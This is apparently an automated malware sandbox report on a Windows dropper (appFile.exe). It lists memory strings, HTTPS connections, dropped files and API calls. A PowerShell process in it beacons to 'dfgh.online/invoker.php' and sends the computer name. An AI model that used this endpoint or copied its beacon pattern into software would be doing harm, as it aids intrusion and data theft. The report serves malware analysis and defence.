Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: appFile.exe	String found in binary or memory: http://localhost/data.svc
Source: appFile.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: appFile.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: appFile.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: appFile.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: appFile.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: appFile.exe	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: powershell.exe, 00000010.00000002.2150012095.0000000004D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: appFile.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: appFile.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: appFile.exe	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: appFile.exe	String found in binary or memory: http://tempuri.org/
Source: powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Ted.com, 0000000B.00000000.1730188123.0000000000705000.00000002.00000001.01000000.00000007.sdmp, Ted.com.1.dr, Remarkable.8.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/FSCTutorial.htm
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/FSCTutorial.htmU
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/U
Source: appFile.exe	String found in binary or memory: http://www.microsoft.
Source: appFile.exe	String found in binary or memory: http://www.microsoft.A
Source: appFile.exe	String found in binary or memory: http://www.microsoft.co
Source: appFile.exe	String found in binary or memory: http://www.ws-i.org/Profiles/BasicProfile-1.1.html
Source: powershell.exe, 00000010.00000002.2150012095.0000000004D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBtq
Source: powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000010.00000002.2150012095.00000000050D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000010.00000002.2149016419.0000000002D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000010.00000002.2150012095.00000000050D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000010.00000002.2149643028.0000000003090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000010.00000002.2150012095.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: appFile.exe	String found in binary or memory: https://go.microsRSION_INFO
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: https://jrsoftware.org/
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000000.2354264175.0000000000C61000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.faststone.org/order.htm
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.faststone.org/order.htmU
Source: Serious.8.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2357659279.00000000033FF000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2360775328.000000007F04B000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000000.2363259351.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000000.2382444621.0000000000E6D000.00000020.00000001.01000000.0000000D.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	String found in binary or memory: https://www.innosetup.com/
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2357659279.00000000033FF000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2360775328.000000007F04B000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000000.2363259351.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000000.2382444621.0000000000E6D000.00000020.00000001.01000000.0000000D.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.186:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 49_2_00BE51EB NtQuerySystemInformation,

49_2_00BE51EB

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\ExceptLiteracy	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\CalibrationMoms	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\KnowledgeEvents	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\HudsonPlaces	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\TowersEco	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	File created: C:\Windows\BlvdDevelopments	Jump to behavior

Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_00BE3838	49_2_00BE3838

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\723356\Ted.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\appFile.exe

Code function: String function: 004062CF appears 58 times

Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr	Static PE information: Number of sections : 11 > 10
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.exe.11.dr	Static PE information: Number of sections : 11 > 10

Source: appFile.exe	Binary or memory string: OriginalFilenameshtransform.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdasc.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameJavaScriptCollectionAgent.dllD vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSyncRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSSIP32 Forwarder DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemscxpl32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSHWGST.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameapisetstubj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewsnmp32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilename vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWOWEXEC.EXE9)ProductNameMicrosoft vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameiismui\ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaer.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemicaut.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUserDataAccessRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsxactps.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameQEdWipes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameRemoveDeviceElevated.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaremr.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameipmiprr.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameimagesp1.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameASFErr.Dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsvidc32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilename vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameiologmsg.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Windows.Presentation.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameneth.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewshelper.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdadc.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaorar.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsaddsr.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodtext32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIR50_QC.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdap: vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamesecurity.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsd vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.Services.Client.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWMError.Dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameDummy.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameaspnet_regbrows vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemscpx32r.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemicrosoft.visualbasic.compatibility.resources.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsader15.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.Data vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemfAACEnc.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSensorsCpl.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameDummy.dl[ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWalletproxy.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamehttpai.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameeqossnap.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameStorProp.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdatt.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenametapisysprep.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSIDENT.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIR41_QCX.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameICONCODESERVICE.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCMCFG32.DLL` vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSQLWID.DLLJ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.OracleClient.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamenetbios.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMMRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMic vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamesas.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameLICMGR10.DLLD vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameNDDEAPI.DLLj% vs appFile.exe
